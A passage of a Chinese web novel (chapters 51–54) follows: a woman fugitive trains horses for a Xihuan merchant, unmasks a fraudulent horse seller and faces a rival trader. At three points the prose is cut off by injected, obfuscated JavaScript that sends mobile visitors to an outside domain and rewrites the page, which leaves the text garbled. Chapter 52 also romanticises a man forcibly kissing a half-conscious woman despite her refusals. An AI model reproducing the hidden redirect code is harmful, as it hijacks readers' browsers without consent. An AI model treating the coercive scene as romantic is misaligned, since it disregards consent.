沈绾离得不算远,虽然可以依稀听到他们的谈话,但到底语言不通,并不清楚他们到底在交谈什么。 只见那白巾男人鄙夷地觑了眼古伊顿,双手大幅度比划,态度尽显傲慢。 恰巧有一辆药材车路过哨口,白巾男人微微偏头示意,身后的随从不知使了什么坏,本就由人力推动的车身狠狠一倾,满满一车药材就这么洒了满地。 阿连鲁顿时握紧拳头,气势汹汹跑上前,却被古伊顿拦下。 白巾男人见状,笑得愈发肆无忌惮,用脚尖极其轻蔑地碾了碾散落在脚边的药材,折身上了驼背。 队伍洋洋洒洒离开,阿连鲁双拳紧握,涨得脸色通红。 “他们是什么人?”沈绾不知何时上前,蹲下身帮一旁伙计清理地面。 阿连鲁见沈绾俯身捡东西,一时也忘了火气,忙凑过来帮忙。 古伊顿:“不过是同族的商人。” “既是同族,那古老板跟他有过节?” “算是吧,”古伊顿一向温厚的脸上不见喜怒,平静道,“我们西桓不同于中原,几乎每个家族都会经营商队,久而久之,人们多少会以商队大小以及盈收多少作为标准,暗中将商队分个优劣,以此来衡量一个家族。 刚才那个人原本做的是香料生意,但生意却一直不如我,后来不知怎的,他队里来了位‘军师’,建议他改做茶马生意,要知道茶叶、马匹,能走这些东西都需要门路,获利自然也不菲。只是没想到,不过短短几月,这生意竟让他做成了。” “贡茶、烈马,这些应当都是进献给皇室的贡品。”沈绾抬眸,“他们这是成了皇商?” “不完全是,”古伊顿摇头,“有许多商队也走这些货,但真正能卖出好价钱的,还是要看货物品质。就拿马匹来说,真正的宝马从配种、饲养到训练,都需要技术,一般商队如果没有合适的饲养人选,是做不了这门生意的。” 沈绾全神贯注听着,将手中一箩筐药材整理好搬上车,神色定定:“若是古老板信得过,我想试试。” “什么?”古伊顿撩起眼皮,有些不可置信。 “我略懂饲马之术,如果古老板有意,我愿帮您开辟马匹生意。” 51. 第五十一章 楚天阔 “哈哈哈姑娘,莫要玩笑。”古伊顿仰天大笑,晃着矮胖的身子,不以为意,抬手示意伙计将货物运进仓库。 “我知道古老板信不过我,”沈绾亦步亦趋跟在身后,“您给我两个月时间,我证明给您看。” 眼前女子气定神闲,可一双眼睛却亮着异光,古伊顿弯了弯眼角,沉吟片刻后,笑道:“好,如果姑娘到时候能训练出优良马驹,我可以考虑你的提议。” 沈绾嘴角轻扬,“一言为定。” 西桓有着得天独厚的地理环境,养马牧羊都是极佳之地,多年的畜牧经验自然不缺好的马种,可若要训练出足奔千里、敏捷聪顺且能征善战的马儿,还需要狠下一番功夫。 这对一向不善作战、只愿以贸易为生的西桓人来说,无疑是一项挑战。 “姐姐……”阿连鲁扬着灿烂的笑,挤过人堆,朝沈绾招手,“这、边……” 他这几日缠着古伊顿下了不少苦功夫,才能勉强说出简单的音节。 这日,沈绾跟着他来到一处集市,这里地处漠云十二州以西,因土地贫瘠,本是个无主地界,后来各方部落渐起,难免有贸易往来,久而久之,此地就成了一个约定俗成的公共市集。 拓摩、东厥、西桓……乃至一些来往边疆的中原商人,都会来这里采买东西。 集市熙熙攘攘,各种物品都有,商贩的叫卖声此起彼伏,喧闹且嘈杂。 “来来来,瞧一瞧看一看,上等的大宛驹。”一马贩大声吆喝着。 西域的大宛马一向是珍贵物种,且大多都是贡品,普通人几乎难得一见,因此吸引不少人驻足。 沈绾一身异族打扮,和阿连鲁混在人堆里。 商贩正巧是个西桓人,嘴里叽里咕噜不停,好在古伊顿给沈绾派了个精通汉语的伙计,做随行翻译。 “这马怎么卖?”人群里有人问道。 “五百两,”商贩咧着一口黄牙,晃了晃五根手指,又补充一句,“黄金。” 此言一出,人群中顿时炸开阵阵私语,沈绾双手抱前,眉头微动,目光却紧紧落在木栅里的马儿。 只见它毛色鲜艳、体格高大,乍看之下倒有几分好马的影子,可眼睛却莫名少了几分灵气。 沈绾凝视着那泛着潮红的皮肤,眼神一顿,低头朝身旁的伙计耳语几句。 伙计得了示意,朝商贩道:“老板,你这若真是上等的大宛驹,五百两黄金倒也值了,我们东家有意买下,但想亲自试上一试,不知道行不行?” 商贩捋了捋八字胡,眼珠子滴溜溜转,“你们如果真有意想买,试一试倒也无妨,只是我这匹马金贵得很,若是出了差错……” 伙计从怀中掏出一包银子,从空中划过一道完美的弧线,稳稳落入商贩怀中。 商贩暗暗掂了掂,嘴角立即扯出笑纹,忙不迭做出手势,“请——” 沈绾徐步上前,先是绕着马转了几圈,又伸手拍了拍马背,指尖摩挲过皮毛,不动声色敛去眼底暗芒。 “我这马可是万里挑一,您若真心想买,我再给您减五十两!怎么样?”商贩凑到沈绾跟前,比划着手指。 沈绾不经意挑了挑眉,稍一抬手,早已得了吩咐的阿连鲁揣着一块湿透了的布巾递过来。 那布巾浸了水,又蘸了不少陈醋,轻轻往马肚上这么一擦,那仿佛渗出血珠的皮肉竟瞬间掉了颜色。 “这……”商贩脸上顿时一僵。 “这匹马看似健壮,可实则骨骼疲软,肌腱松弛,缺乏大宛马的爆发力和耐力,眼珠虽圆却无神,可见并不灵敏,就连这最典型的皮毛都是用颜料涂抹,遇水显红,这样的把戏也敢在这里招摇过市?” 沈绾目露讥讽,娓娓道:“就这还敢要五百两黄金,这胃口也未免太大了,怎么不去抢?” “你……”商贩眼神闪烁,一把拽住沈绾要把人拉开,“敢坏我生意!” “弄匹病马来以次充好,在这行骗,你这生意是做到头了。”沈绾抬手一甩,揉了揉酸疼手腕。 商贩恼羞成怒,见沈绾个子瘦瘦小小,作势就要动手,却被阿连鲁一把握住拳头。 少年又圆又黑的眼睛藏着厉色,像只守护主人的小兽,不容人侵犯一分。 “骗子!还在这丢人现眼!” “呸!招摇撞骗,烂了心肝……” 围观中有人破口大骂,一时群情激愤,大有群起而攻之的态势。 商贩顿时慌了神。 少年力气大,商贩手腕被扭成极其怪异的弧度,几乎快折了骨头,深知自己这是碰上硬茬,忙下跪求饶。 “各位祖宗,我有错,这就把银子还给你们。”商贩痛得龇牙咧嘴。 沈绾从商贩手中接过银袋子,往伙计怀里一扔,“做生意嘛,自然是诚信为先,你拿假东西糊弄我,也别我怪不客气。” “其实,你这马我倒也不是不要,”沈绾绕着马边踱步两圈,抚了抚颈侧鬃毛,“你手里还有多少匹这种马?” 待伙计翻译完,商贩有些不可置信,“你……你要做什么?” “我要……跟你做笔生意。”沈绾眉眼狡黠,眸光熠熠。 ** 待商贩颤颤巍巍在字据尾处画下最后一笔,只觉右手的痛意又加重了。 “你们,这不是欺负人嘛……” “三十匹,一匹都不能少。”沈绾满意地拿起字据,不以为然勾了勾唇,“我知道这有些为难,就当是今天的赔偿,你可要想清楚,今日的事如果我揪住不放,你损失的可就不止这三十匹马了。” 商贩自然知道她所言不虚,如果事情闹大,他怕是今后都没得生意做,这回就当是哑巴吃黄连,都往肚子里咽吧。 沈绾没想到今天居然这么顺利就能买到马匹,心情不由大好。 “姑娘,你不是说那匹马并不好,干嘛还要?”伙计跟在身后,按捺不住好奇道。 沈绾笑意盈盈,“那马虽不是上等的大宛马,可品相也不算太差,之所以肌肉松弛,完全是因为饲料不足和缺乏合理的训练,我既然要向古老板证明,自然要拿出点真东西。这种看起来虽不入眼的马,只要饲养合理,再稍加训练,就能成为优良战马。” “再说……”沈绾无奈耸了耸肩,“我身无分文,马市良驹的价格又不低,我总不好伸手找古老板要钱,要不是今日这遭,我正愁该如何把这个大话圆回来。” 伙计被沈绾的聪慧惊讶到,“想不到姑娘年纪轻轻,居然真的懂驯马之术。” 阿连鲁见二人说笑,虽不知他们在聊什么,可见沈绾开心,他也开心。 “姐姐,给——”沈绾一回头,见阿连鲁捧着两盒吃食递过来,用木盒装着,看起来香软滑嫩,底下铺着白白一层,上面撒上蒸熟的槐花花瓣,再点缀上几颗紫黑葡萄,甚是好看。 “这是什么?”沈绾笑着接过。 伙计解释:“这是葡萄槐花酥酪,用羊奶烹制成的,是我们这的特色,姑娘尝尝。” 沈绾舀起一勺放入口中,冰凉清甜奶香瞬间溢满口腔,“又香又甜,真好吃!” 沈绾本就喜欢吃甜食,何况这羊乳酥酪她还是头一回吃,肚子里的馋虫立即被勾起来。 一盒酥酪很快见底,见阿连鲁手中那份原封不动,沈绾疑惑:“你怎么不吃?” “这个,也给,姐姐。”阿连鲁这两日的中原话有很大进步,已经可以勉强表述出完整意思。 沈绾见他像宠小孩一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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脊背颤了颤,顺着寒意转身望去,却不见一丝人影。 “姑娘不舒服?”伙计见沈绾变了脸色,关切道,“不如我们先回去,阿连鲁他会跟上的。” 沈绾点头,刚迈出步子,一抹赤红忽然吸引她的注意。 不远处,一个体格高硕,满脸留着络腮胡的男人阴恻恻立在街角,心里的冷寒与对方阴冷的视线不期相撞。 只是他手里牵着一匹马,那马神如游龙,骨骼健壮,色如赤血,是上等的汗血马,她不禁多看了两眼。 可男人的目光太过犀利,沈绾不敢再过多停留。 他那张脸,总感觉在哪见过。 正出神,一队拓摩官兵从远处气势汹汹,披坚执锐走来,嘴里骂骂咧咧推开人群,粗鲁摇着手中画像,“缉捕钦犯,提供情报者重赏!” 仿佛一盆冰水兜头而下,淋得她手脚骤凉,那画像上的女子不是旁人,正是她无疑! “快走!”沈绾匆忙拽过伙计,折身就往回走。 不能慢下步子,否则就会被官兵追上,但也不能快跑,那样反倒会引起注意。 沈绾头一回不知该如何走路,只知道脚下不能停,更加不能回头。 伙计似乎看出沈绾在躲官兵,倒也没有多问,默默跟在身后。 可越往前走人群却愈发拥挤,身后传来官差的高声咒骂,混着异族人的歇斯底里。 沈绾这才想起,此地并非拓摩地界,其他部落的人不一定会买拓摩兵的账。 果不其然,那些官兵不知又骂了句什么,瞬间激怒几个异族大汉,两方大肆出手,原本拥挤的街道瞬间陷入混乱。 人潮乱涌,身后伙计早被挤得不见踪影,沈绾跌跌撞撞,被推挤到一处墙角,刚欲扶墙站定,颈后倏然伸来一只大手。 危险气息蔓上脊背,沈绾心中警铃大作。 下一瞬,一股强烈刺鼻的气味横冲直撞钻入鼻腔。 她按住脸上钳制的大手,试图掰开,可到底挣脱不过,眼睫上下眨动几下,渐渐失去力气。 52. 第五十二章 蝶恋花 意识飘飘忽忽,她本以为自己在劫难逃,可身后人的力气却陡然被卸了下来。 眼帘半合,余光所及处,半张布满络腮胡的宽脸从地面滑过,像条昏死的鱼,被人一脚踹开。 还没来得及反应,腰后覆上一双大手,只轻轻一带,就将她整个人拥入怀中。 视线一转,被抵到一处深巷拐角,因为角度原因,完美避开街市上人来人往的视线。 正是盛夏,满墙的凌霄花恣意怒放,枝条从墙檐倾洒垂落,形成一面天然花墙。 花枝繁茂葱郁,遮挡住半墙阳光,恰好围出一片光线晦暗的小天地。 沈绾本就意识不清,迷迷糊糊间,两片湿热贴上唇瓣,起初只是幅度极小的触碰,像片羽毛轻柔拂过。 可对方犹不满足,舌尖探出,绵密舔过唇角,缓慢细致,徐徐勾勒出唇线,吮过每一寸玉肤,好像要把她整个唇周全部舔舐干净。 沈绾后知后觉,意识到有人在吻她,心中一紧。 哪里来的登徒子! 下意识挣扎几下,腰间那双大手却纹丝不动。 一侧手掌从后脊抚下,在腰窝这么轻轻一捏,脊背仿佛窜过一串电流,樱红檀口不由微张,滚烫的唇舌宛如一尾泥鳅,就这么趁机钻了进去。 对方好似早已摸透她身体上的开关,整套动作行云流水,丝滑又娴熟,仿佛已经做了无数遍。 沈绾正感叹自己的身体居然并不抗拒,迟来的嗅觉旋即被唤醒,熟悉清冽的气息犹如缠密丝线,整个将她包围。 “你……”沈绾想要开口,可不依不饶的唇舌缠得她密不透风,把她的气息悉数掠去。 耳边风吹花落,窸窸簌簌,只要细听,不难发现二人交缠的“啧啧”水声,清响、黏腻、诱人沉沦。 沈绾被吻得晕头转向,想要撩开眼皮,可迷蒙视线里只映出男人锋利流畅的轮廓、潮红的眼尾,以及紧贴自己脸颊软肉的高挺鼻梁。 有一瞬,她想要就此沉溺下去,可理智到底是占据上风。 “放开……” 察觉到怀中人推拒,铁臂力道又加深了几分。 “真的好甜……”男人勾住小舌,在唇畔哑声呢喃,每一个音节都像是着了火,稍有不慎,就能把理智烧得粉碎。 紧箍在腰间的手游走至后颈,轻而易举钳住那截雪肤,耳侧喷洒的气息灼热又凌乱,落在娇嫩皮肉,仿佛下一瞬就能烫出伤口。 沈绾肩头一抖,呻吟出声:“不要……” 不要?她在抗拒什么?他的身体,他的触碰,还是他的吻? 男人眼底燃起难以窥见的火苗,那是由无数思念和滔天妒意交织而成,所过之处,万物焚尽。 “始乱终弃?”男人咬磨粉白耳垂,明明是质问,可声音却隐隐发颤,带着几分害怕和委屈。 他本就卑劣如斯,自年少时便妄想占有她的一切,即便历经波折,可那股病态的占有欲却只增无减。 他不在,她就去撩别人? 不,绝不可以!她是他的,不可以被任何人夺走! 吮吻的力道逐渐加重,瓷白玉颈展开朵朵红莲,沈绾不由痛呼,“别咬……” 女人秀眉紧蹙,嘤咛低求,声音软如春水,男人到底是心疼,带着几分不甘来回舔舐,缓缓松了些力气。 可她为何要让那个少年碰她的唇?那明明是独属于他的! 私有物被人觊觎沾染,他却只能远远看着,那种窒息感几乎要将他吞没。 想到方才她喂少年吃东西的画面,心头又是一酸。 她怎么可以喂别的男人? 无力和酸涩从心头漫到眼角,化作点点晶莹,他用鼻尖蹭了蹭香软脖颈,声音又沙又哑,“阿鸾,我求你,能不能不要有别人?” 沈绾脑子混沌,一时没反应过来他在说什么。 外界那阵嘈杂似乎小了些,可并不妨碍二人于这方静谧天地中交颈而依,男人极为贪恋她身上馨香,就这么凑在身前嗅个不停。 可沈绾只觉身前怀抱烫得惊人,再这样下去,她怕是整个人要被烫化了。 “放、放开……”她再次挣扎,小手不住拍打身前灼热。 男人终究不忍心,正欲松开手,忽听不远处隐隐传来一阵脚步声。 那步履又急又快,像是嘈乱的鼓点,无不彰显出主人的焦切。 “姐姐……” 是阿连鲁的声音。 一双黑葡萄般的眼睛无助又慌张,圆钝的眼尾殷红一片,他不过离开了一小会,姐姐就不见了。 他像条无家可依的小狗,茫然徘徊在路边。 脚步声越来越近。 “姐姐——” 又一声脆亮传入耳膜,沈绾飘忽的意识一定。 双手剧烈甩动,本能推开眼前人,脚下刚迈出半步,可下一刻,腰间原本松懈的力道骤然一紧,狠狠往怀里一扣,她整个人严丝合缝贴上身后肉墙。 “怕他看见?”男人的脸掩映在昏暗花枝下,阴鸷眼底是极力压制的怒意。 “放开!”她再次低声警告,眉头因男人的戏弄紧皱,平添出几分愤懑。 她看不清男人的脸,可那低磁的声音、熟悉的味道、令人难以抗拒的身体,无不在心里一遍遍勾勒出一个名字。 “谢翊……”红唇翕动,终于吐出积压已久的两字。 “呵,”男人呼吸一顿,周身冷沉的气压瞬间消退不少,他凑上耳骨,带着几分调情意味,“不想让他看见,就吻我。” 沈绾怔了怔,这狗男人在说什么? 阿连鲁的脚步从花墙一角显现,沈绾心头莫名一紧,她现在这副模样,实在不愿让旁人看到。 可是——她为什么要听他的? 是他莫名其妙把她掳到这里,恣意妄为轻薄她,现在还要逼她亲他,真是没道理! 脑袋晕晕乎乎想着,可身体却比意识听话,身子在怀里轻转,脸颊微微一侧,瞬间贴了上去。 可她忘记了男人的身高优势,唇瓣擦过的不是柔软唇角,而是一处坚硬 ——是男人的喉结。 谢翊原没有想到沈绾会这么快吻上来,还没来得及低头,敏感处就覆上一片温软。 好似有千丝万缕条电流流过身体,激起密密匝匝的酥麻,全身的血液都好像在极速倒流,冲刷尽所有理智。 腰间桎梏猛地一紧,沈绾感到后脑勺被扣住,掰着向后贴去,男人的吻如狂风暴雨,几乎要将她吞噬殆尽。 她被亲得合不拢嘴,晶莹丝线流过嘴角,淫/靡又狼狈。 整个身子想要往后缩,可旋即被人一转,压到石墙上,再无逃避的余地。 阿连鲁急得满头大汗,转过街角踏入深巷,尽头处的花墙随风摇曳,绚烂夺目,若是搁着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16226250|171998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平常,他定会摘几朵回去,送给姐姐。 可现在满腔焦急和担忧让他再没有心思想其他,姐姐大病初愈,市集又混杂,若是碰上什么危险…… 越想越不安,额角的汗珠在烈阳下如掉线的珠子,滴答落个不停。 深巷寂静,唯有风吹婆娑的花影,阿连鲁呼了口气,步子刚要折回,一阵娇软低吟乘着微风飘入耳间。 他听力一向很好,那声音时断时续,难耐又压抑,好像——是从花墙后面传来的。 奇怪,是有人在哭吗? 他按下心中好奇,步子悄然靠近。 花枝繁密,将矮墙遮挡得严严实实,他刻意放缓步子,避免惊动旁人。 刚走几步,娇吟声越发明显,仔细一听,竟混着几声暧昧低喘。 阿连鲁未经人事,心中根本没意识到什么,只当是花墙后有人受欺负,一想到或许是姐姐,心头一紧。 花枝被倏然拨开,隔绝已久的阳光肆意倾洒,映出墙角一对缠绵“鸳鸯”。 只是男人的肩背过于高大宽阔,怀中女子被他抵在墙角,遮挡得严严实实,只露出几缕凌乱发丝垂在臂弯。 因被不速之客打扰,男人不耐偏头,却只露出半张脸。 阿连鲁心下莫名一顿,他从未见过那样一双阴鸷的眼,幽暗、冰冷、狠戾,还交织着一抹不知名的欲望。只简单瞥他一眼,就好似要将他劈穿。 “滚!” 男人并未刻意压低声音,可每个音节都像是被烈火焚过,极具威慑力。 少年被这道汹涌又锋利的火焰震住,神经只迟钝片刻,忙匆匆退后。 如果眼神可以杀人,他毫不怀疑自己会被男人这记眼刀杀得片甲不留。 潜伏在体内的某颗因子在此刻蓦然冒出头,那样亲密的姿势、令人心猿意乱的呻/吟,无不在昭示着…… 停滞的神经倏然一跳,他好像……撞见了不该撞见的。 ** 沈绾没想到阿连鲁会找来,被发现那一瞬,她的心都快蹦到嗓子眼。 阳光洒落又消失,少年的脚步只停留片刻,渐渐远去。 沈绾不知道自己此刻到底是失望多一些还是轻松多一些,但可以确定的是,眼前男人的恶劣早已超出她的想象。 缠吻的唇瓣倏尔一痛,熟悉的铁锈味再次在口中蔓延开,男人几不可察地皱了皱眉。 沈绾松开齿关,一直在攻城略地的唇才稍稍松开几寸。 “疯子!”她的思绪其实并未明晰,可满腔委屈无处宣泄,漫到嘴边只能化成一声叱骂。 血珠嫣红,男人轻勾薄唇,像是被骂爽了,眼底笑意愈发浓。 他本就是个疯子,一个觊觎她一切的疯子,从身到心,他渴求了整整三年。 之前因为她的示好,他才披上了人皮伪装,哪怕知道她的敷衍与掩饰,可只要她把心思放在他身上,他可以一直陪她演下去。 直到那晚,她说自己会舍弃他,更从没想过交付真心,长久以来紧绷的弦霎时断得四分五裂,他像个自欺欺人的小丑,一直演着只属于自己的闹剧。 如今看见她和其他野小子亲亲热热,无法遏制的妒火顷刻烧尽理智,也烧毁他所有温柔伪装的面具。 舌尖舔了舔唇角,狂热痴缠的吻再次欺上,沈绾无力再挣脱,呼吸被寸寸夺走的同时,就连残破的意识也一起远去。 53. 第五十三章 竞天择 沈绾醒来时,已是金乌西沉。 她仍旧躺在自己的帐子里,仿佛花墙下的一切不过是场梦。 按照伙计的说法,他们在街角发现了她,古伊顿说她是中了暑热,所以才昏迷不醒。开了两剂药服下,半日便恢复了精神。 “姑娘,今日的事我都听说了,”古伊顿垂着眼睑,满面肃容,“当日把你从湖边救回来,我就猜到你来历不一般,你是在……躲避拓摩官兵的追捕?” 轻如蝶翼的羽睫微颤,沈绾凝眸不语,算是默认。 古伊顿晃了晃矮胖的身子,心中了然,“姑娘不必担心,我们西桓人行商天下,讲究的就是‘诚信’和‘义气’,大靖立朝以来,对我们处处打压,我们也不会上赶着巴结他们,他们捉他们的人,我们做我们的事。” 沈绾眉间浮上歉意,“只是这样……会不会连累你们。” “嗐,说什么连不连累,”古伊顿摆摆手,“姑娘不是还要帮我开拓马匹生意?我们现在可是合作伙伴,保证姑娘安全,是义不容辞的事。” “不过……”古伊顿默了片刻,从旁取来一只木盒,“今后为了避免麻烦,姑娘不妨戴上这个,万事也行得方便。” 沈绾随手打开木盒,倏尔视线一顿。 这里面——竟是张人皮面具! 一些熟悉的记忆浮现而来。 清浅瞳仁只滞了片刻,旋即敛去,“还是古老板想得周到,多谢。” ** 商贩将三十匹马送来的第二日,沈绾没有耽误,立即开启了她的驯马计划。 草原之上,一匹匹烈马犹如一道道疾驰的黑点,紧密且有规律地遵循既定路线奔驰,稍有一两匹大着胆子想要越过矩线,裂过晴空的马鞭就会毫不犹疑落下,透过皮肉化作凄厉嘶鸣。 沈绾一身劲装,扬鞭策马,马鞭上的繁复图纹在阳光下闪着细碎金光。 凭着早些在御马司的经验,她定下了一套周密的训练计划,从喂料、训练到看护,事事亲力亲为,日复一日,从未有一天懈怠。 商队众人皆为诧异,他们没想到沈绾虽然年纪不大,可这饲马驯马的手段却如此老练。 三十匹马,说多不多,说少也不少,饲养起来并不轻松。当初沈绾夸下海口,古伊顿只当她是一时兴起,可这些日子下来,不得不对她改观。 没想到一个女娃娃,竟有如此毅力和魄力! 暑气在大草原并未威风多久,携着初秋的凉意便悄悄闯入,于早晚的清风间崭露头角。 铿锵有力的马蹄哒哒飞过草地,扬起丝滑鬃毛,只要细看,不难发现每一匹马儿身矫体健,斗志昂扬。 随着一声哨响,马儿快中有稳,分作三排一字列开,紧接着前蹄一跃,敏捷的身形划出完美弧度,迅捷越过前方陷阱。 “好!”古伊顿站在小坡上,望着眼前训练有素的马儿激叹出声。 “古老板,不知这批成果可还满意?”沈绾手腕袖子高卷,露出一截白皙却紧实的腕骨,掌心虽被缰绳磨出层层薄茧,可她却浑然不觉,整个人看起来神采奕奕。 “哎呀,你这些马说是战马也不为过。”古伊顿双目放光,他虽未涉猎过马匹生意,但也知道这样品质的宝马,定是能卖出好价钱。 “不错,这些的确能够达到战马的标准,”沈绾笑了笑,毫不掩饰野心,“不过这些马充其量只是二等,只有经历过战场上的磨砺,才能真正称得上战马。” “你放心,这些马,我一定给你卖出高价!” “古老板,这是答应了?”沈绾眉头微挑。 古伊顿哈哈一笑:“有姑娘在,我就是得了株金钱树,谁会嫌银子扎手?这生意若再不做,可就真是自己堵自己的财路!” 沈绾跟着轻笑,清浅眼底透出少见的锋芒,“好,咱们既然要做,就不能只止步于此,要想真正开拓马匹生意,就要驯出最好的马。” 古伊顿眉头一顿,疑惑道:“姑娘的意思是?” “汗血马!”沈绾轻吐出三字,却字字有力,“此类马本就资质超群,如果再稍加训练,定能独步天下,到时候自会吸引实力雄厚的买主,即便后续流入市场,也是千金难换的宝贝。” “好!”古伊顿有着商人最敏锐的嗅觉,面对这个极具诱惑力的的蓝图,他没有拒绝的理由。 ** 正如古伊顿所说,沈绾驯出的第一批马在市场上很快卖出高价,整个商队的马匹生意也从第一批马的出售正式拉开序幕。 草原的风吹黄了片片落叶,也吹来了真金白银。沈绾初时忙得脚不沾地,可她并未吝啬将自己驯养的经验教授出去。渐渐地,商队的其他伙计也开始上手,她才渐渐松了口气。 其中最出色的莫过于阿连鲁。 他总可以将沈绾教授的方法完美复制,驯出的一匹匹马儿比起沈绾不相上下。 “姐姐——”卷毛少年奔驰在草原上,扬着马鞭朝沈绾招手,稚气未脱的脸庞笼罩在阳光下,绽出大大的笑容,干净又纯粹。 沈绾心头一暖,站在小坡上,笑着摇手回应。 “姑娘!”一伙计从远处急匆匆跑来,上气不接下气,“咱们……咱们前日谈下的一单的生意,被人给截了!” “怎么回事?”沈绾心中虽惊诧,可眉目间依旧沉稳。 伙计吞了口唾沫,“昨日有两个专门负责驯马的兄弟突发高热,大夫诊治说是疫病,这种病在我们这里传染力极强,后来不知是谁造的谣,说我们售卖的马匹多半也不干净,沾有病气,原本定下的买主一听这话,立即毁了约!” 沈绾低眉沉思,“我记得这批马对方明明早就定下了,既然说改就改,那他们新找的卖家是谁?” “就是咱们老板的那个死对头,今日他身边那位传闻中的‘军师’过来,正跟我们老板在帐中谈生意呢!” 沈绾脑中蓦然浮现出那个蒙着白巾的男人。 “走,去瞧瞧。”沈绾利落转身,“我倒要看看他们来谈什么生意?” ** 帐房中,一方桌案,隔出两道肃凝视线。 古伊顿面色铁青,坐在对面一动不动。 “都是生意人,还希望古老板能认真考虑我们的提议。” 对方暗含威胁,话音刚落,屋帐门帘轻挑,沈绾一身斜襟袍子,刚迈进半步,便觉出帐里冷凝到极点的氛围。 她并未被吓到,刚转身站定,视线忽然在对方身上一滞。 瘦长脸、吊梢眼,虽身着异族袍服,可那过于瘦削的身板却像一根永远也支不起的木架,勉强撑着摇摇欲坠的衣服。 这不是——金万全?! 那个西盘街赌坊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16249109|171998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的老板! 他不是被判斩首?怎么…… 无数道惊疑与猜测划过脑海,可她面上却看不出异样。 “这位是……”金万全显然也发现了这位贸然进门、身量瘦小的……“伙计”? 因沈绾脸上带着人皮面具,看不出真容,只是一身打扮倒与商队里的伙计无异,金万全一时倒不敢确定确定她的身份。 “哦,这是我这里请来的驯马师,”古伊顿与沈绾默契对视一眼,沉声解释,“也是我的合作伙伴,金老板有话不妨当面直说。” “哦?原来这就是那位真人不露相的‘高人’?” 他就说古伊顿一个药商,怎的突然在马匹生意上钻研,原来背后另有高手谋划。 沈绾淡淡勾了勾唇角:“金老板说笑了,要说高人,您才是神通广大,听口音,您是中原人? 金万全眼尾一眯,眼底闪过警惕,“做生意罢了,混口饭吃,听小兄弟的口音,与金某想必是同乡?” 沈绾压了压眉,不置可否。既然金万全能死而复生,甚至瞒天过海,想必背后的水深不可测。 “不知金老板今日前来到底有何指教?”沈绾没耐心与他周旋,直奔主题。 金万全抿了口香气四溢的酥茶,朝后倚了倚,悠悠道:“大家都是生意人,说到底都是为了银子。生意场就这么大,你们平白来分我们一杯羹,已经坏了江湖道义,好在我们东家不计较,想跟古老板谈个合作。” 他往前抻了抻身子,一双长眼精光乍现,“我们愿以双倍价格收购你们所有马匹,只要你们愿意成为我们的供货源,我们以后就是一家人,未来整个北疆的马市,都会是我们的天下。” “当然,”金万全眼皮半撩,轻飘飘落向沈绾,“小兄弟驯得一手好马,是不可多得的人才,一旦并入我们商队,你可是功不可没,到时候穿金戴银,享之不尽的钱财美人,都会落在你身上。” 帐中一时寂静无声,袅袅茶雾隐去各人脸上异色。 环在身前的指尖轻点半刻后堪堪停下,沈绾眉头微动,挑眉轻嗤:“这还未到深秋,有些老树连皮都不要了。” 不待对方沉下脸色,沈绾不依不饶道:“金老板真是好谋算,让我们成为你们的下家,吃人都不吐骨头。即便你们有这么大的胃口,也不一定吞得下。” “咣当”一声脆响,杯盏和桌面发出轻微碰撞,金万全面上虽无大的波动,可嘴角不住抽搐的肌肉还是暴露出他的隐怒。 “古老板,”他缓缓直起身,“我今日前来是一片好意,如今这商队我以为是您一人当家,您是个聪明人,知道孰轻孰重。听说你们最近跑了好几个大单,听我一句劝,这马市生意没你们想的那么简单,与其贸然开路撞得头破血流,不如与我们合作。今日只要您一句话,我也好回去给我们东家回话。” “好,”古伊顿默了半晌,双手撑着桌案,朗声开口,“那我就给你一句话,回去告诉你们东家,马匹这条商路,我古某人是闯定了。我带商队走了这么些年,还从来没听人使唤过。以后咱们各凭本事,只要他能不在背后给我使绊子,我就当他还珍惜那张老脸!” “你……”金万全终于按捺不住,拍案而起,窄短的额角暴起青筋。 “来人,送客!”古伊顿脸色同样不好看,身子往后一躺,沉沉合上眼。 54. 第五十四章 万木春 金万全像条落败而逃的丧家犬,气急败坏离开营帐。 沈绾见古伊顿面色不豫,刚要开口劝慰,忽见他长舒了口气,缓和下脸色,“忍了这么多年,总算出了口恶气!” “姑娘说的那些话真是大快人心,他们想将咱们吃干抹净,咱们偏不让他们如意!” 沈绾本以为古伊顿心里多少有些不快,现在看来倒是多虑。 “可是……老板,”一旁伙计发愁挠头,“咱们的订单确实取消不少,一些驯马的弟兄也病了,接下来该怎么办?” “查清楚病因了吗?” 伙计摇头:“这种疫病一旦染上,扩散极快,一时很难痊愈,您看我们要不要将他们全部隔离?只是这样一来,咱们的生意……” “眼下最重要的是治病救人。”古伊顿当机立断。 “古老板说的是,”沈绾附和,沉眉思索片刻,忽而想到什么,“你既说这种病传染速度极快,可这些日子以来,我与他们同吃同住,怎么偏偏就我没事,反倒是他们一个个身强力壮的男人倒下了?” 这话立即引起两人注意,的确,照这种疫病的传染速度,既然是在马队里散开,那沈绾一个柔弱姑娘,没道理不被传染。 何况她睡得比他们晚,起得比他们早,时节交替下最易染病。 “这样,我们先将病患隔离,以免疫情扩散,然后召集大夫寻找治疗的法子,马队这边有我,一时出不了乱子,至于生意……”沈绾想了片刻,果决道,“等兄弟们身体好了再说,只要我们的马足够精良,不愁找不到销路。” 